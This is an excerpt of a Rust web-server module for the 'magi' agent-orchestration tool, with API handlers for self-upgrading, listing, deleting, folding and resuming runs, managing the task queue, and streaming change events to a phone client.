1747    if let Some(other) = Foreign::of(reading.as_ref()) {
1748        return Err(ApiError::conflict(format!(
1749            "the loop belongs to {}, so replacing this binary would leave \
1750             that process running an old one against the same queue. Upgrade \
1751             where it was started.",
1752            other.who()
1753        )));
1754    }
1755
1756    // Asked before anything is disturbed. Restarting when there is nothing
1757    // to install is not a harmless no-op: it parks the run in flight and
1758    // drops every connection to pay for an upgrade that did not happen. A
1759    // probe against a deck already on the newest build did exactly that.
1760    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1761    let from = env!("CARGO_PKG_VERSION").to_owned();
1762    let latest = match crate::updater::Checker::new(&cfg.update) {
1763        Some(checker) => checker
1764            .newer_release()
1765            .await
1766            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1767        None => None,
1768    };
1769    let Some(latest) = latest else {
1770        return Ok((
1771            StatusCode::OK,
1772            Json(UpgradeView {
1773                from,
1774                to: None,
1775                parked: None,
1776                detail: "Already on the newest release. Nothing was parked \
1777                         and nothing restarted."
1778                    .to_owned(),
1779            }),
1780        ));
1781    };
1782
1783    // Parked before anything is replaced: a successor that came up while a
1784    // run was mid-node would find a run nobody is driving.
1785    let parked = ui.park_for_upgrade()?;
1786    let detail = match &parked {
1787        // Honest about the wait. A park takes effect at the *next* node
1788        // boundary, so a run mid-implement finishes that wave first - up to
1789        // `timeout_implement`, an hour by default. Saying "restarting now"
1790        // would make the deck look wedged for the rest of it.
1791        Some(run) => format!(
1792            "Run {} is parking at its next step, which can take as long as \
1793             the step it is on - up to an hour for an implement wave. The \
1794             deck replaces itself once it parks, comes back, and the loop \
1795             carries that run on from where it stopped. Nothing is lost if \
1796             you close this.",
1797            crate::run::short_of(run)
1798        ),
1799        None => "The deck replaces itself and comes back. Nothing was in \
1800                 flight to park."
1801            .to_owned(),
1802    };
1803
1804    // Recorded before the spawn, not inside it: the phone's next `/api/health`
1805    // poll must see a `Downloading` stage immediately, not whenever the
1806    // spawned task happens to get scheduled.
1807    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
1808    progress.parked_run = parked.clone();
1809    let _ = updater::write_progress(&ui.home, &progress);
1810
1811    let home = ui.home.clone();
1812    tokio::spawn(async move {
1813        if let Err(e) = upgrade_and_restart(home.clone()).await {
1814            tracing::error!("the upgrade did not complete: {e:#}");
1815            if let Some(mut progress) = updater::read_progress(&home) {
1816                progress.fail(format!("{e:#}"));
1817                let _ = updater::write_progress(&home, &progress);
1818            }
1819        }
1820    });
1821
1822    Ok((
1823        StatusCode::ACCEPTED,
1824        Json(UpgradeView {
1825            from,
1826            to: Some(latest.tag_name),
1827            parked,
1828            detail,
1829        }),
1830    ))
1831}
1832
1833/// Replace the binary, then ask [`serve`] to hand the address over.
1834///
1835/// Separated from the handler so the 202 is already on its way, and separated
1836/// from the spawn so the successor starts only after the listener is dropped.
1837async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
1838    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
1839    // hang the upgrade for as long as the process lives.
1840    crate::updater::run_self_update(true, false, true).await?;
1841    tracing::info!("binary replaced - asking the server to hand over");
1842    if let Some(mut progress) = updater::read_progress(&home) {
1843        progress.advance(updater::Stage::Replaced);
1844        let _ = updater::write_progress(&home, &progress);
1845    }
1846    HANDOVER.notify_one();
1847    Ok(())
1848}
1849
1850/// One row in the run list.
1851///
1852/// The list route returns this rather than whole `RunState`s: the summary of a
1853/// run is a few hundred bytes and the state is megabytes, and the difference
1854/// is what makes the history usable on a mobile link.
1855#[derive(Debug, Serialize)]
1856struct RunSummary {
1857    id: String,
1858    short: String,
1859    status: String,
1860    done: bool,
1861    instruction: String,
1862    title: String,
1863    repo: String,
1864    repo_name: String,
1865    created_at: String,
1866    updated_at: String,
1867    candidates: usize,
1868    viable: usize,
1869    judges: usize,
1870    winner: Option<char>,
1871    reviews: usize,
1872    quota_losses: usize,
1873    event: Option<String>,
1874    /// The later attempt at the same task that replaced this one, if any.
1875    ///
1876    /// Two cards with one title is otherwise unreadable: this is what lets
1877    /// the deck say "superseded by 4043" on the older of the pair.
1878    superseded_by: Option<String>,
1879    /// Blocked on a question nobody has answered.
1880    ///
1881    /// Derived from the question store rather than stored on the run: an agent
1882    /// calling `magi ask` blocks mid-node, and writing a status from there
1883    /// would race the graph's own save of `run.json` and be overwritten at the
1884    /// next node boundary. Asking the store is always true and never races.
1885    waiting: bool,
1886    /// The land loop's last look at the pull request, when there is one.
1887    pr: Option<crate::run::PrRecord>,
1888}
1889
1890impl RunSummary {
1891    fn of(state: &RunState, waiting: bool) -> Self {
1892        Self {
1893            id: state.id.clone(),
1894            short: state.short().to_owned(),
1895            status: status_word(state.status),
1896            done: state.status.done(),
1897            instruction: state.instruction.clone(),
1898            title: title_from(&state.instruction, TITLE_MAX),
1899            repo: state.repo.display().to_string(),
1900            repo_name: state
1901                .repo
1902                .file_name()
1903                .map(|n| n.to_string_lossy().into_owned())
1904                .unwrap_or_default(),
1905            created_at: state.created_at.to_string(),
1906            updated_at: state.updated_at.to_string(),
1907            candidates: state.candidates.len(),
1908            viable: state.viable().len(),
1909            judges: state.config.graph.judges,
1910            winner: state.winner().map(|c| c.label),
1911            reviews: state.reviews.len(),
1912            quota_losses: state.quota.len(),
1913            event: state.events.last().map(|e| e.message.clone()),
1914            waiting,
1915            // Filled in by the list route, which is the only place that can
1916            // see a task's other attempts.
1917            superseded_by: None,
1918            pr: state.pr.clone(),
1919        }
1920    }
1921}
1922
1923/// `RunStatus` as the wire spells it. Every variant is one word, so this is
1924/// the same string `serde` writes for the status inside a full run.
1925fn status_word(status: RunStatus) -> String {
1926    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
1927    // was a third way of naming the same statuses, and one that changed
1928    // silently with a derive.
1929    status.as_str().to_owned()
1930}
1931
1932/// `?limit=`, clamped by the handler.
1933#[derive(Debug, Deserialize)]
1934struct ListQuery {
1935    #[serde(default)]
1936    limit: Option<usize>,
1937}
1938
1939async fn runs_list(
1940    State(ui): State<Arc<Ui>>,
1941    Query(q): Query<ListQuery>,
1942) -> ApiResult<Json<Vec<RunSummary>>> {
1943    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
1944    blocking(move || {
1945        let superseded = superseded_runs(&ui.queue);
1946        let summaries = run_ids(&ui.runs)
1947            .into_iter()
1948            // A run whose state cannot be read is skipped, not fatal: a run
1949            // killed mid-write must not blank the history of every other one.
1950            // The detail route still explains it, which is where an operator
1951            // asking "what happened to that run" ends up.
1952            .filter_map(|id| read_run(&ui.runs, &id).ok())
1953            .take(limit)
1954            .map(|state| {
1955                let waiting = !ui.questions.open_for(&state.id).is_empty();
1956                let by = superseded.get(&state.id).cloned();
1957                let mut row = RunSummary::of(&state, waiting);
1958                row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
1959                row
1960            })
1961            .collect();
1962        Ok(Json(summaries))
1963    })
1964    .await
1965}
1966
1967/// Runs that a later attempt at the same task replaced, mapped to the id of
1968/// the attempt that replaced them.
1969///
1970/// A task keeps its attempts in order, and the deck showed them as two cards
1971/// with the same title and no hint which was which: yukimemi asked why
1972/// `stalled` and `blocked` appeared twice for one task, and the answer -
1973/// "those are two tries, and the second one exists because of a bug since
1974/// fixed" - was not on the screen anywhere.
1975///
1976/// Read from the queue rather than stored on the run, because the ordering is
1977/// the queue's fact: a `RunState` has no idea another attempt happened after
1978/// it.
1979fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
1980    let mut by = HashMap::new();
1981    for task in queue.list() {
1982        for pair in task.runs.windows(2) {
1983            if let [earlier, later] = pair {
1984                by.insert(earlier.clone(), later.clone());
1985            }
1986        }
1987    }
1988    by
1989}
1990
1991/// A run as the detail route hands it to the phone.
1992///
1993/// The whole state, flattened, plus `instruction_md`: the Task panel renders
1994/// the instruction as markdown, and the raw `instruction` field this struct
1995/// still carries (unchanged) is what a client wanting the exact bytes reads
1996/// instead.
1997#[derive(Debug, Serialize)]
1998struct RunDetailView {
1999    #[serde(flatten)]
2000    state: RunState,
2001    instruction_md: Vec<md::Node>,
2002    /// Whether a live daemon currently claims this run.
2003    ///
2004    /// `state.active` (flattened in above) is only ever cleared by the
2005    /// process that populated it; a killed one leaves its last wave's
2006    /// entries behind. Carrying this alongside is what lets the phone rail
2007    /// tell "this seat is still answering" from "this seat was still
2008    /// answering when whatever was driving this run died" without a second
2009    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2010    /// proof of either.
2011    live: bool,
2012}
2013
2014impl RunDetailView {
2015    fn of(state: RunState, live: bool) -> Self {
2016        Self {
2017            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2018            live,
2019            state,
2020        }
2021    }
2022}
2023
2024async fn run_detail(
2025    State(ui): State<Arc<Ui>>,
2026    Path(id): Path<String>,
2027) -> ApiResult<Json<RunDetailView>> {
2028    blocking(move || {
2029        let id = resolve_run(&ui.runs, &id)?;
2030        let state = read_run(&ui.runs, &id)?;
2031        let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2032        Ok(Json(RunDetailView::of(state, live)))
2033    })
2034    .await
2035}
2036
2037/// `DELETE /api/runs/{id}`.
2038///
2039/// Remove a finished, folded run directory along with its artifacts.
2040/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2041/// deleted. This never touches git worktrees or branches - except for a run
2042/// whose state this build cannot read at all, where there is no candidate
2043/// list to check and the wholesale removal `magi fold` already uses for that
2044/// case is the only meaningful "delete".
2045async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2046    let (id, unreadable) = {
2047        let ui = Arc::clone(&ui);
2048        blocking(move || {
2049            let id = resolve_run(&ui.runs, &id)?;
2050            match read_run(&ui.runs, &id) {
2051                Ok(state) => {
2052                    let in_flight =
2053                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2054                    state
2055                        .ensure_can_delete(in_flight)
2056                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2057                    let dir = ui.runs.join(&id);
2058                    std::fs::remove_dir_all(&dir)
2059                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2060                    Ok((id, false))
2061                }
2062                Err(_) => {
2063                    // Unreadable: there is no candidate list to guard on, so
2064                    // a live daemon's claim is the only thing left to check -
2065                    // the same rule `run_fold` applies for the same reason.
2066                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2067                        return Err(ApiError::conflict(format!(
2068                            "run {id} is being worked on by a live daemon right now"
2069                        )));
2070                    }
2071                    Ok((id, true))
2072                }
2073            }
2074        })
2075        .await?
2076    };
2077    if unreadable {
2078        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2079            .await
2080            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2081    }
2082    let ui = Arc::clone(&ui);
2083    let done = id.clone();
2084    blocking(move || {
2085        // The agent that asked died with the run, so an open question would
2086        // keep asking the operator for a decision nobody can deliver.
2087        ui.questions.abandon_for_run(
2088            &done,
2089            &format!("run {done} was deleted, so nothing is waiting for this answer"),
2090        )?;
2091        Ok(())
2092    })
2093    .await?;
2094    Ok(StatusCode::NO_CONTENT)
2095}
2096
2097/// `POST /api/runs/{id}/fold`.
2098///
2099/// Remove a run's candidate worktrees and branches, keeping its record.
2100///
2101/// This exists because the deck answered "delete this run" with *"Candidates
2102/// must be folded before deleting. Run `magi fold` first."* — a phone being
2103/// told to open a terminal, in the one product whose point is that it does
2104/// not need one. The runs an operator most wants gone are the stalled and
2105/// blocked ones, and those are exactly the runs still holding worktrees:
2106/// three of them here held 53 GB.
2107///
2108/// The winner's tree goes too. A fold is what someone asks for when they are
2109/// finished with a run, and leaving one tree behind would leave the delete
2110/// button disabled for the same reason as before.
2111///
2112/// Refused while a live daemon is working on the run, on the rule that guards
2113/// deletion: folding underneath a running agent would pull the tree it is
2114/// editing out from under it.
2115///
2116/// A run whose state this build cannot read at all falls back to
2117/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
2118/// selectively, so the whole record's worktree goes wholesale, exactly what
2119/// `magi fold` does on the command line for the same run.
2120async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2121    let (id, state) = {
2122        let ui = Arc::clone(&ui);
2123        blocking(move || {
2124            let id = resolve_run(&ui.runs, &id)?;
2125            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2126                return Err(ApiError::conflict(format!(
2127                    "run {id} is being worked on by a live daemon right now"
2128                )));
2129            }
2130            let state = read_run(&ui.runs, &id).ok();
2131            Ok((id, state))
2132        })
2133        .await?
2134    };
2135    let removed = match state {
2136        Some(mut state) => crate::graph::fold_run(&mut state, true)
2137            .await
2138            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2139        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2140            .await
2141            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2142    };
2143    Ok(Json(FoldView {
2144        run: id,
2145        removed_count: removed.len(),
2146        removed,
2147    }))
2148}
2149
2150/// What a fold took away, so the deck can say so rather than only re-render.
2151#[derive(Debug, Serialize)]
2152struct FoldView {
2153    run: String,
2154    /// Worktree paths and branch names removed, in the order they went.
2155    removed: Vec<String>,
2156    removed_count: usize,
2157}
2158
2159/// `POST /api/runs/{id}/resume`.
2160///
2161/// Carry a stalled run on from where it stopped, in the background.
2162///
2163/// A stalled card says "the work is kept" and used to offer no way to act on
2164/// that: the candidates are built and paid for, and continuing means re-asking
2165/// only the seats whose absence collapsed the panel. The alternative an
2166/// operator actually had was releasing the task, which competes three fresh
2167/// implementations against work that already exists.
2168///
2169/// **202, not 200.** A resume runs agents for minutes; holding the connection
2170/// is the mistake `POST /api/chats/{id}/say` already made and had fixed. The
2171/// phone learns the outcome from the change stream.
2172///
2173/// Refused when the loop is running at all, not merely when it is on this run.
2174/// magi runs one competition at a time on purpose — the scarce resource is the
2175/// agent CLIs' quota — and a tap that quietly started a second graph would
2176/// double the burn for no extra throughput.
2177async fn run_resume(
2178    State(ui): State<Arc<Ui>>,
2179    Path(id): Path<String>,
2180) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2181    let (id, state) = {
2182        let ui = Arc::clone(&ui);
2183        blocking(move || {
2184            let id = resolve_run(&ui.runs, &id)?;
2185            let state = read_run(&ui.runs, &id)?;
2186            Ok((id, state))
2187        })
2188        .await?
2189    };
2190    if !state.status.resumable() {
2191        return Err(ApiError::conflict(format!(
2192            "run {} is `{}`, and only a stalled or blocked run can be resumed",
2193            state.short(),
2194            status_word(state.status)
2195        )));
2196    }
2197    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now()) {
2198        return Err(ApiError::conflict(format!(
2199            "the loop is running run {} right now; magi runs one competition at \
2200             a time so the agent quota is not spent twice over. Stop the loop \
2201             first.",
2202            crate::run::short_of(&work.run)
2203        )));
2204    }
2205    let _resume = ui.begin_resume(&id)?;
2206
2207    // The same shape the list route returns, so the phone updates the card it
2208    // already has rather than learning a second schema for one button.
2209    let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2210    let run = id.clone();
2211    tokio::spawn(async move {
2212        let _resume = _resume;
2213        match crate::graph::Runner::resume(&run) {
2214            Ok(mut runner) => {
2215                if let Err(e) = runner.execute().await {
2216                    tracing::warn!("resume of run {run} stopped: {e:#}");
2217                }
2218            }
2219            // The run's own record is what the phone reads; this line is for
2220            // the operator's terminal.
2221            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2222        }
2223    });
2224    Ok((StatusCode::ACCEPTED, Json(queued)))
2225}
2226
2227async fn run_report(
2228    State(ui): State<Arc<Ui>>,
2229    Path(id): Path<String>,
2230) -> ApiResult<impl IntoResponse> {
2231    let text = blocking(move || {
2232        let id = resolve_run(&ui.runs, &id)?;
2233        // Colour is off for the whole process, set once in `serve`. Rendering
2234        // is CPU work over the full state, which is the other reason this is
2235        // not on the executor.
2236        let state = read_run(&ui.runs, &id)?;
2237        let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2238        Ok(format!(
2239            "{}{}",
2240            report::run(&state),
2241            report::active_seats(&state, live)
2242        ))
2243    })
2244    .await?;
2245    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2246}
2247
2248/// A task as the UI sees it.
2249///
2250/// The whole task, plus the two things the client would otherwise have to
2251/// reimplement: the human-readable source and the status string. Nothing is
2252/// removed - the phone shows `last_error` and the run history verbatim.
2253#[derive(Debug, Serialize)]
2254struct TaskView {
2255    #[serde(flatten)]
2256    task: Task,
2257    source_label: String,
2258    status_str: &'static str,
2259    /// The instruction, parsed as markdown, for the Queue card's "Full
2260    /// instruction" panel. `task.instruction` is unchanged and still carries
2261    /// the raw text.
2262    instruction_md: Vec<md::Node>,
2263}
2264
2265impl From<Task> for TaskView {
2266    fn from(task: Task) -> Self {
2267        Self {
2268            source_label: task.source.label(),
2269            status_str: task.status.as_str(),
2270            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2271            task,
2272        }
2273    }
2274}
2275
2276/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
2277/// its absence, leaves the cache to decide.
2278#[derive(Debug, Default, Deserialize)]
2279#[serde(default)]
2280struct ReposQuery {
2281    refresh: u8,
2282}
2283
2284/// `GET /api/repos` - the repository picker for the plan surface's "start a
2285/// conversation" panel and its "continue in another repository" action.
2286///
2287/// Reads `[repos] roots` and `[repos] scan_ttl` off the same config the rest
2288/// of the plan surface uses, discovered against `ui.repo` so an edit to
2289/// `magi.toml` takes effect without a restart, the same reasoning
2290/// [`config_for`] documents for the chat routes.
2291async fn repos_list(
2292    State(ui): State<Arc<Ui>>,
2293    Query(q): Query<ReposQuery>,
2294) -> ApiResult<Json<Vec<repos::Repo>>> {
2295    let refresh = q.refresh != 0;
2296    blocking(move || {
2297        let (cfg, _) = Config::discover(&ui.repo, None)?;
2298        Ok(Json(ui.repos_cache.list(
2299            &cfg.repos.roots,
2300            Duration::from_secs(cfg.repos.scan_ttl),
2301            refresh,
2302        )))
2303    })
2304    .await
2305}
2306
2307async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2308    blocking(move || {
2309        Ok(Json(
2310            ui.queue.list().into_iter().map(TaskView::from).collect(),
2311        ))
2312    })
2313    .await
2314}
2315
2316/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
2317/// gives no reason - which must keep working, since not every hold has one.
2318#[derive(Debug, Default, Deserialize)]
2319#[serde(default, deny_unknown_fields)]
2320struct HoldBody {
2321    reason: Option<String>,
2322}
2323
2324async fn queue_hold(
2325    State(ui): State<Arc<Ui>>,
2326    Path(id): Path<String>,
2327    body: std::result::Result<Json<HoldBody>, JsonRejection>,
2328) -> ApiResult<Json<TaskView>> {
2329    // An absent body is the ordinary case - most holds are unexplained, and
2330    // that has to stay a one-tap action rather than a form. A body that is
2331    // present and malformed is still a bad request.
2332    let body = match body {
2333        Ok(Json(body)) => body,
2334        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2335        Err(e) => return Err(ApiError::bad_request(e.body_text())),
2336    };
2337    let reason = body.reason.filter(|r| !r.trim().is_empty());
2338    mutate(ui, id, move |t| {
2339        t.hold(reason.clone());
2340        Ok(())
2341    })
2342    .await
2343}
2344
2345async fn queue_release(
2346    State(ui): State<Arc<Ui>>,
2347    Path(id): Path<String>,
2348) -> ApiResult<Json<TaskView>> {
2349    mutate(ui, id, |t| {
2350        t.release();
2351        Ok(())
2352    })
2353    .await
2354}
2355
2356/// The body of `POST /api/queue/{id}/priority`.
2357#[derive(Debug, Deserialize)]
2358#[serde(deny_unknown_fields)]
2359struct PriorityBody {
2360    priority: i32,
2361}
2362
2363/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
2364///
2365/// [`Task::set_priority`] is the one place the "not while running" rule is
2366/// stated; this route only carries the body to it and lets its `Err` become
2367/// the 4xx the card shows.
2368async fn queue_priority(
2369    State(ui): State<Arc<Ui>>,
2370    Path(id): Path<String>,
2371    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2372) -> ApiResult<Json<TaskView>> {
2373    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2374    mutate(ui, id, move |t| t.set_priority(body.priority)).await
2375}
2376
2377/// The body of `POST /api/queue/{id}/edit`.
2378#[derive(Debug, Deserialize)]
2379#[serde(deny_unknown_fields)]
2380struct EditBody {
2381    title: String,
2382    instruction: String,
2383}
2384
2385/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
2386/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
2387/// that refusal's message is what the sheet shows back.
2388async fn queue_edit(
2389    State(ui): State<Arc<Ui>>,
2390    Path(id): Path<String>,
2391    body: std::result::Result<Json<EditBody>, JsonRejection>,
2392) -> ApiResult<Json<TaskView>> {
2393    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2394    mutate(ui, id, move |t| {
2395        t.edit(body.title.clone(), body.instruction.clone())
2396    })
2397    .await
2398}
2399
2400/// `POST /api/queue/{id}/done` - close a task as finished without deleting
2401/// it, so the phone's other way to clear a task from the backlog does not
2402/// have to cost the run history, the attribution, and `created_at` the way
2403/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
2404/// can be marked done by hand, because this is for the run the loop never
2405/// saw land - a merge done by hand, or a gate that misreported - and that can
2406/// happen from any status the task was left in.
2407async fn queue_done(
2408    State(ui): State<Arc<Ui>>,
2409    Path(id): Path<String>,
2410) -> ApiResult<Json<TaskView>> {
2411    mutate(ui, id, |t| {
2412        t.succeed();
2413        Ok(())
2414    })
2415    .await
2416}
2417
2418/// `DELETE /api/queue/{id}`.
2419///
2420/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
2421/// names this task: a `running` status or an orphaned `.lock` left behind by a
2422/// killed daemon is a leftover, and treating either as authority made the
2423/// task undeletable from the phone for good. The associated runs, if any, are
2424/// kept: a run is self-contained history and not an appendage of the task.
2425async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2426    blocking(move || {
2427        let id = resolve_task(&ui.queue, &id)?;
2428        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2429        ui.queue
2430            .remove(&id, in_flight)
2431            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2432        Ok(StatusCode::NO_CONTENT)
2433    })
2434    .await
2435}
2436
2437/// Read a task, change it, write it back, under the queue's own lock.
2438///
2439/// Taking the same claim a daemon takes is what makes hold, release,
2440/// priority, edit, and done safe to press while magi is running: without it
2441/// the daemon's next save would land on top of the operator's change and
2442/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
2443/// both do, for a running task - and that refusal becomes the 4xx the card
2444/// shows, same as any other domain rule.
2445async fn mutate(
2446    ui: Arc<Ui>,
2447    id: String,
2448    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
2449) -> ApiResult<Json<TaskView>> {
2450    blocking(move || {
2451        let id = resolve_task(&ui.queue, &id)?;
2452        // `claim` fails when the lock file already exists, which is the
2453        // conflict the UI must report: the daemon owns that task's file for
2454        // as long as it is running it, and our write would be lost under its
2455        // next save. The message names the lock either way.
2456        let _claim = ui.queue.claim(&id).map_err(|e| {
2457            ApiError::conflict(format!(
2458                "{e:#} - a daemon is running this task, so it cannot be \
2459                 changed from here yet"
2460            ))
2461        })?;
2462        let mut task = ui.queue.get(&id)?;
2463        change(&mut task).map_err(ApiError::bad_request_from)?;
2464        ui.queue.put(&mut task)?;
2465        Ok(Json(TaskView::from(task)))
2466    })
2467    .await
2468}
2469
2470/// The change stream: one revision number per store, on connect and whenever
2471/// any of them moves.
2472///
2473/// The poll runs in one spawned task per client, which is affordable because
2474/// the work is a directory scan and a `stat` per file. It stops as soon as the
2475/// receiver is gone, so a phone that walks out of range costs nothing after
2476/// its next tick - there is no session and no cleanup to forget.
2477async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2478    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2479    tokio::spawn(async move {
2480        let mut ticker = tokio::time::interval(POLL);
2481        let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
2482        loop {
2483            // The first tick completes immediately, which is what makes the
2484            // stream announce the current revisions on connect.
2485            ticker.tick().await;
2486            let state = Arc::clone(&ui);
2487            let revisions = tokio::task::spawn_blocking(move || {
2488                (
2489                    state.queue.revision(),
2490                    runs_revision(&state.runs),
2491                    state.questions.revision(),
2492                    state.chats.revision(),
2493                    state.talks.revision(),
2494                    // The loop's counter is in-process state rather than a
2495                    // file, so nothing the three stats above look at would
2496                    // tell this phone that another one started the loop.
2497                    state.lock_loop().rev,
2498                )
2499            })
2500            .await;
2501            let Ok(revisions) = revisions else { break };
2502            if last == Some(revisions) {
2503                continue;
2504            }
2505            last = Some(revisions);
2506            let payload = serde_json::json!({
2507                "queue_rev": revisions.0,
2508                "runs_rev": revisions.1,
2509                "questions_rev": revisions.2,
2510                "chats_rev": revisions.3,
2511                "talks_rev": revisions.4,
2512                "loop_rev": revisions.5,
2513            });
2514            // Serializing five integers cannot fail; giving up beats looping.
2515            let Ok(event) = Event::default().event("change").json_data(payload) else {
2516                break;
2517            };
2518            if tx.send(event).await.is_err() {
2519                break;
2520            }
2521        }
2522    });
2523    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2524        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2525}
2526
2527/// Change detection token for recorded runs under `runs`.
2528///
2529/// Combines the id and `run.json` modification time of each run, so adding,
2530/// updating, or deleting any run — even an older one — moves the revision and
2531/// notifies connected clients via the change stream. Returns 0 when no runs
2532/// exist.
2533fn runs_revision(runs: &FsPath) -> u64 {
2534    use std::hash::{Hash as _, Hasher as _};
2535
2536    let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2537        .into_iter()
2538        .flatten()
2539        .flatten()
2540        .filter_map(|e| {
2541            let path = e.path().join("run.json");
2542            let mtime = path
2543                .metadata()
2544                .ok()?
2545                .modified()
2546                .ok()?
2547                .duration_since(std::time::UNIX_EPOCH)
2548                .ok()?
2549                .as_millis() as u64;
2550            let id = e.file_name().to_string_lossy().into_owned();
2551            Some((id, mtime))
2552        })
2553        .collect();
2554
2555    if entries.is_empty() {
2556        return 0;
2557    }
2558
2559    entries.sort_unstable();
2560    let mut hasher = std::hash::DefaultHasher::new();
2561    for (id, mtime) in &entries {
2562        id.hash(&mut hasher);
2563        mtime.hash(&mut hasher);
2564    }
2565    let h = hasher.finish();
2566    if h == 0 { 1 } else { h }
2567}
2568
2569/// Run ids under `runs`, newest first.
2570///
2571/// Rooted at an explicit directory rather than calling [`run::list_ids`],
2572/// which reads the process-global home: the server has to be drivable against
2573/// a temp directory for any of this to be testable.
2574fn run_ids(runs: &FsPath) -> Vec<String> {
2575    let mut ids: Vec<String> = std::fs::read_dir(runs)
2576        .into_iter()
2577        .flatten()
2578        .flatten()
2579        .filter(|e| e.path().join("run.json").is_file())
2580        .map(|e| e.file_name().to_string_lossy().into_owned())
2581        .collect();
2582    // Ids start with a sortable timestamp.
2583    ids.sort_unstable_by(|a, b| b.cmp(a));
2584    ids
2585}
2586
2587/// Read one run's state from an explicit runs root.
2588fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2589    let path = runs.join(id).join("run.json");
2590    let body =
2591        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2592    let state: RunState =
2593        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2594    if state.schema != run::SCHEMA {
2595        anyhow::bail!(
2596            "run {} was written by a different magi (schema {}, this build speaks {})",
2597            state.id,
2598            state.schema,
2599            run::SCHEMA
2600        );
2601    }
2602    Ok(state)
2603}
2604
2605/// Runs on disk under `runs` whose state this build cannot parse - almost
2606/// always a schema bump, occasionally a run killed mid-write.
2607///
2608/// Exposed so every surface that reports on runs shares one count instead of
2609/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
2610/// `magi doctor` calls this directly rather than guessing at the same number
2611/// a second way.
2612#[must_use]
2613pub fn runs_unreadable(runs: &FsPath) -> usize {
2614    run_ids(runs)
2615        .into_iter()
2616        .filter(|id| read_run(runs, id).is_err())
2617        .count()
2618}
2619
2620/// Expand an id or short id to exactly one run id.
2621fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2622    if runs.join(id).join("run.json").is_file() {
2623        return Ok(id.to_owned());
2624    }
2625    pick(run_ids(runs), id, "run")
2626}
2627
2628/// Expand an id or short id to exactly one task id.
2629fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2630    if queue.path_of(id).is_file() {
2631        return Ok(id.to_owned());
2632    }
2633    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2634}
2635
2636/// A question as the phone reads it.
2637///
2638/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
2639/// text already parsed into a node tree so the client never runs its own
2640/// markdown reader over agent-authored prose. A relative image path in it
2641/// resolves against this question's own panel asset route, which is the one
2642/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
2643/// separate, sandboxed document, but `detail` is rendered inline in the
2644/// operator's own page, so an image reference in it may only ever point at
2645/// files magi itself already serves for this question.
2646#[derive(Debug, Serialize)]
2647struct QuestionView {
2648    #[serde(flatten)]
2649    question: Question,
2650    detail_md: Vec<md::Node>,
2651}
2652
2653impl From<Question> for QuestionView {
2654    fn from(question: Question) -> Self {
